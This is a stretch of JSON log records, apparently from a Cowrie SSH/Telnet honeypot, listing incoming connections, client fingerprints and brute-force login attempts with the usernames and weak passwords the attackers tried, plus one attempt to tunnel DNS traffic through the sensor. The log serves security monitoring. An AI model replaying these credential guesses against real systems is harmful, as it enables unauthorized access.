{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:25:06.384560Z","src_ip":"43.167.198.92","session":"2fa7be4df350","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:25:06.679836Z","src_ip":"43.167.198.92","session":"2fa7be4df350","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.51","src_port":21484,"dst_ip":"159.203.135.109","dst_port":22,"session":"66b2ddd468e4","protocol":"ssh","message":"New connection: 130.12.180.51:21484 (159.203.135.109:22) [session: 66b2ddd468e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:25:07.040329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:25:07.044805Z","src_ip":"130.12.180.51","session":"66b2ddd468e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5f904648ee8964bef0e8834012e26003","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5f904648ee8964bef0e8834012e26003","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:25:07.131771Z","src_ip":"130.12.180.51","session":"66b2ddd468e4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:25:07.390543Z","src_ip":"130.12.180.51","session":"66b2ddd468e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:25:07.924358Z","src_ip":"130.12.180.51","session":"66b2ddd468e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":28728,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e4ca17bacca","protocol":"ssh","message":"New connection: 2.57.121.112:28728 (10.17.0.5:22) [session: 4e4ca17bacca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:26:39.353766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:26:39.359073Z","src_ip":"2.57.121.112","session":"4e4ca17bacca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:26:39.465531Z","src_ip":"2.57.121.112","session":"4e4ca17bacca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"orange3","message":"login attempt [admin/orange3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:26:39.964016Z","src_ip":"2.57.121.112","session":"4e4ca17bacca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"opie","message":"login attempt [admin/opie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:26:41.072415Z","src_ip":"2.57.121.112","session":"4e4ca17bacca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"onlyyou","message":"login attempt [admin/onlyyou] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:26:42.182804Z","src_ip":"2.57.121.112","session":"4e4ca17bacca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"oneday","message":"login attempt [admin/oneday] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:26:43.292718Z","src_ip":"2.57.121.112","session":"4e4ca17bacca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"omegaman","message":"login attempt [admin/omegaman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:26:44.402972Z","src_ip":"2.57.121.112","session":"4e4ca17bacca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:26:45.512223Z","src_ip":"2.57.121.112","session":"4e4ca17bacca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.232.238.42","src_port":47456,"dst_ip":"159.203.135.109","dst_port":23,"session":"5777dfa78296","protocol":"telnet","message":"New connection: 129.232.238.42:47456 (159.203.135.109:23) [session: 5777dfa78296]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:26:52.591058Z"}
{"eventid":"cowrie.session.connect","src_ip":"220.184.23.127","src_port":45334,"dst_ip":"159.203.135.109","dst_port":23,"session":"7577f62603a0","protocol":"telnet","message":"New connection: 220.184.23.127:45334 (159.203.135.109:23) [session: 7577f62603a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:27:19.737398Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":22932,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6348dbdd5e8","protocol":"ssh","message":"New connection: 2.57.121.25:22932 (159.203.135.109:22) [session: f6348dbdd5e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:27:23.559430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:27:23.564257Z","src_ip":"2.57.121.25","session":"f6348dbdd5e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:27:23.664728Z","src_ip":"2.57.121.25","session":"f6348dbdd5e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"15021980","message":"login attempt [user/15021980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:27:24.140565Z","src_ip":"2.57.121.25","session":"f6348dbdd5e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"15011980","message":"login attempt [user/15011980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:27:25.243906Z","src_ip":"2.57.121.25","session":"f6348dbdd5e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":57070,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad3c9e372a0a","protocol":"ssh","message":"New connection: 87.251.64.176:57070 (10.17.0.5:22) [session: ad3c9e372a0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:27:26.280993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:27:26.286226Z","src_ip":"87.251.64.176","session":"ad3c9e372a0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"141288","message":"login attempt [user/141288] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:27:26.347778Z","src_ip":"2.57.121.25","session":"f6348dbdd5e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:27:26.384578Z","src_ip":"87.251.64.176","session":"ad3c9e372a0a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:27:26.673393Z","src_ip":"87.251.64.176","session":"ad3c9e372a0a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:27:26.772888Z","session":"ad3c9e372a0a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:27:26.870976Z","src_ip":"87.251.64.176","session":"ad3c9e372a0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:27:27.105771Z","src_ip":"87.251.64.176","session":"ad3c9e372a0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"14101980","message":"login attempt [user/14101980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:27:27.451401Z","src_ip":"2.57.121.25","session":"f6348dbdd5e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"14101975","message":"login attempt [user/14101975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:27:28.554845Z","src_ip":"2.57.121.25","session":"f6348dbdd5e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:27:29.659607Z","src_ip":"2.57.121.25","session":"f6348dbdd5e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.32439398765564,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:27:33.061665Z","src_ip":"220.184.23.127","session":"7577f62603a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.06903290748596,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:27:46.659959Z","src_ip":"129.232.238.42","session":"5777dfa78296","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":43044,"dst_ip":"10.17.0.5","dst_port":22,"session":"98f63e5aca51","protocol":"ssh","message":"New connection: 103.15.226.202:43044 (10.17.0.5:22) [session: 98f63e5aca51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:28:17.024640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:28:17.029606Z","src_ip":"103.15.226.202","session":"98f63e5aca51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:28:17.279401Z","src_ip":"103.15.226.202","session":"98f63e5aca51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"love123","message":"login attempt [root/love123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:28:18.027926Z","src_ip":"103.15.226.202","session":"98f63e5aca51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:28:19.279912Z","src_ip":"103.15.226.202","session":"98f63e5aca51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.127.181.103","src_port":1063,"dst_ip":"159.203.135.109","dst_port":22,"session":"66d9f2f757ee","protocol":"ssh","message":"New connection: 79.127.181.103:1063 (159.203.135.109:22) [session: 66d9f2f757ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:30:39.382886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:30:39.591282Z","src_ip":"79.127.181.103","session":"66d9f2f757ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:30:39.793079Z","src_ip":"79.127.181.103","session":"66d9f2f757ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:30:39.798695Z","src_ip":"79.127.181.103","session":"66d9f2f757ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":48070,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd85ff0b9721","protocol":"ssh","message":"New connection: 2.57.122.208:48070 (159.203.135.109:22) [session: fd85ff0b9721]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:30:48.376124Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:30:48.487119Z","src_ip":"2.57.122.208","session":"fd85ff0b9721","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":48556,"dst_ip":"10.17.0.5","dst_port":22,"session":"905a34243d60","protocol":"ssh","message":"New connection: 103.15.226.202:48556 (10.17.0.5:22) [session: 905a34243d60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:31:53.361156Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:31:53.365695Z","src_ip":"103.15.226.202","session":"905a34243d60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:31:53.613509Z","src_ip":"103.15.226.202","session":"905a34243d60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123","message":"login attempt [root/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:31:54.350742Z","src_ip":"103.15.226.202","session":"905a34243d60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:31:55.603416Z","src_ip":"103.15.226.202","session":"905a34243d60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.232.238.42","src_port":56638,"dst_ip":"159.203.135.109","dst_port":23,"session":"14ce98e9b91b","protocol":"telnet","message":"New connection: 129.232.238.42:56638 (159.203.135.109:23) [session: 14ce98e9b91b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:32:11.568840Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":65492,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f635bd0ad5f","protocol":"ssh","message":"New connection: 87.251.64.176:65492 (10.17.0.5:22) [session: 0f635bd0ad5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:32:14.234712Z"}
